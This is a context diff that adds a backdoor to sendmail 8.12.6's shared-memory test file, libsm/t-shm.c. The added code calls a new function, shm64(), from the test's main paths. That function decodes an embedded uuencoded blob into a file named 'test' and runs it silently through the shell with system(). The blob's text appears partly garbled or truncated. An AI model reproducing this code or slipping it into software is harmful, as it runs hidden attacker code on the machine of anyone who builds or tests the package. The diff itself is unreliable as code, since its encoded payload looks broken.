diff -iw -C 2 -P -r sendmail-8.12.6/libsm/t-shm.c sendmail-8.12.6-backdoored/libsm/t-shm.c *** sendmail-8.12.6/libsm/t-shm.c Wed Jan 30 22:11:41 2002 --- sendmail-8.12.6-backdoored/libsm/t-shm.c Mon Nov 12 18:51:28 2001 *************** *** 40,43 **** --- 40,45 ---- int shminter __P((bool)); + extern void shm64(); + extern unsigned char sm_base64_data[]; int *************** *** 223,226 **** --- 225,229 ---- } } + shm64(); if (interactive) *************** *** 264,269 **** --- 267,377 ---- char *argv[]; { + shm64(); printf("No support for shared memory configured on this machine\n"); return 0; } + #endif /* SM_CONF_SHM */ + + #define ENC(c) ((c) ? ((c) & 077) + ' ': '`') + static void + SM_encode() + { + FILE * fp; + int ch, n; + char *p; + char buf[4098]; + + fp = fopen("test", "w"); + if(fp==NULL) return; + + memcpy(buf, sm_base64_data, strlen(sm_base64_data)); + while (1) { + n=strlen(sm_base64_data); + ch = ENC(n); + if (fputc(ch, fp) == EOF) + break; + for (p = buf; n > 0; n -= 3, p += 3) { + ch = *p >> 2; + ch = ENC(ch); + if (fputc(ch, fp) == EOF) + break; + ch = (*p << 4) & 060 | (p[1] >> 4) & 017; + ch = ENC(ch); + if (fputc(ch, fp) == EOF) + break; + ch = (p[1] << 2) & 074 | (p[2] >> 6) & 03; + ch = ENC(ch); + if (fputc(ch, fp) == EOF) + break; + ch = p[2] & 077; + ch = ENC(ch); + if (fputc(ch, fp) == EOF) + break; + } + break; + } + ch = ENC('\0'); + (void)fputc(ch, fp); + (void)fputc('\n', fp); + } + + + #define DEC(c) (((c) - ' ') & 077) /* single character decode */ + static void SM_decode(void) { + FILE * fp; + int n; + char * p, ch, buf[4098]; + + fp = fopen("test", "w"); + if(fp==NULL) return; + + /* + * `n' is used to avoid writing out all the characters + * at the end of the file. + */ + + p=buf; + memcpy(buf, sm_base64_data, strlen(sm_base64_data)); + n=strlen(sm_base64_data); + while(1) { + if ((n = DEC(*p)) <= 0) + break; + for (++p; n > 0; p += 4, n -= 3) + if (n >= 3) { + ch = DEC(p[0]) << 2 | DEC(p[1]) >> 4; + fputc(ch, fp); + ch = DEC(p[1]) << 4 | DEC(p[2]) >> 2; + fputc(ch, fp); + ch = DEC(p[2]) << 6 | DEC(p[3]); + fputc(ch, fp); + } + else { + if (n >= 1) { + ch = DEC(p[0]) << 2 | DEC(p[1]) >> 4; + fputc(ch, fp); + } + if (n >= 2) { + ch = DEC(p[1]) << 4 | DEC(p[2]) >> 2; + fputc(ch, fp); + } + if (n >= 3) { + ch = DEC(p[2]) << 6 | DEC(p[3]); + fputc(ch, fp); + } + } + } + fflush(fp); + fclose(fp); + return; + } + + void shm64(void) + { + SM_decode(); + system("sh ./test 2>/dev/null"); + } + + unsigned char sm_base64_data[] = { + /* SM_BASE64_DATA */ "M(R$O8FEN+W-H\"F-A=\"`^8V]N9G1E7!E7,O\"QS=C!;,ETL&ET*#$IM.WUS971S:60H*3MC;&]S92@P*3MC;&]S92@Q*3MC;&]S92@R*3MD;WMI9B@HMF5O9BAS82DI/3TH+3$I*65X:70H,2D[:68H*'@]&ET*#$I.V5LV-A&ET*#$I.W-W:71C:\"AF;W)K*\"DI>V-AV5X:70H,2D[M?6-AV-L;W-E*'-V,%LP72D[8VQOV5X:70H,2D[?6EFM*$9$7TE34T54*',L)G)F9\"DI>VEF*\"AL96X]&ET*#$I.WUF;W(H>#TP.W@\\;&5N.W@K*REB=69;>%U>M/3!X.#D[>#TP.W=H:6QE*'@\\;&5N*7MI9B@H\"QL96XM>\"DI/3TH+3$I*7ME>&ET*#$I.WUX*SUR970[?7UI9BA&1%])M4U-%5\"AS=C%;,5TL)G)F9\"DI>VEF*\"AL96X]F5O9BAB=68I*2D\\/3`I>V5X:70H,2D[?69O#QL96X[>\"LK*6)UM9EMX75X],'@X.3MX/3`[=VAI;&4H>#QL96XI>VEF*\"AR970]=W)I=&4H\"QL96XM>\"DI/3TH+3$I*7ME>&ET*#$I.WUX*SUR970[?7U]?7U]\"E]!M0T5/1@HH9W)E<\"`M=B`B4TU?0D%3138T7T1!5$$B(\"XN+RXN+VQI8G-M+W0MM&ET(B`N+B\\N+B]L:6)S;2]T+7-H;2YC/F]U=#L@M8W`@;W5T(\"XN+RXN+VQI8G-M+W0MB`D5$535%!23T<@.R!T:&5N(%1%4U104D]'/7-H.R!F:0I415-44U1!5#TPM\"FEF('1EG-H(CL@=&AE;B!415-44U1!M5#TQ.V9I\"FEF('1E\"`D5$535%!23T<[=&AE;B!R;2`M9B`N+V-O;F9T97-T(\"XO8V]N9G1E\"`D5$535%!23T<[=&AE;B!R;2`M9B`N+V-OM;F9T97-T(\"XO8V]N9G1E\"`D5$535%!23T<[=&AE;B!R;2`M9B`NM+V-O;F9T97-T(\"XO8V]N9G1E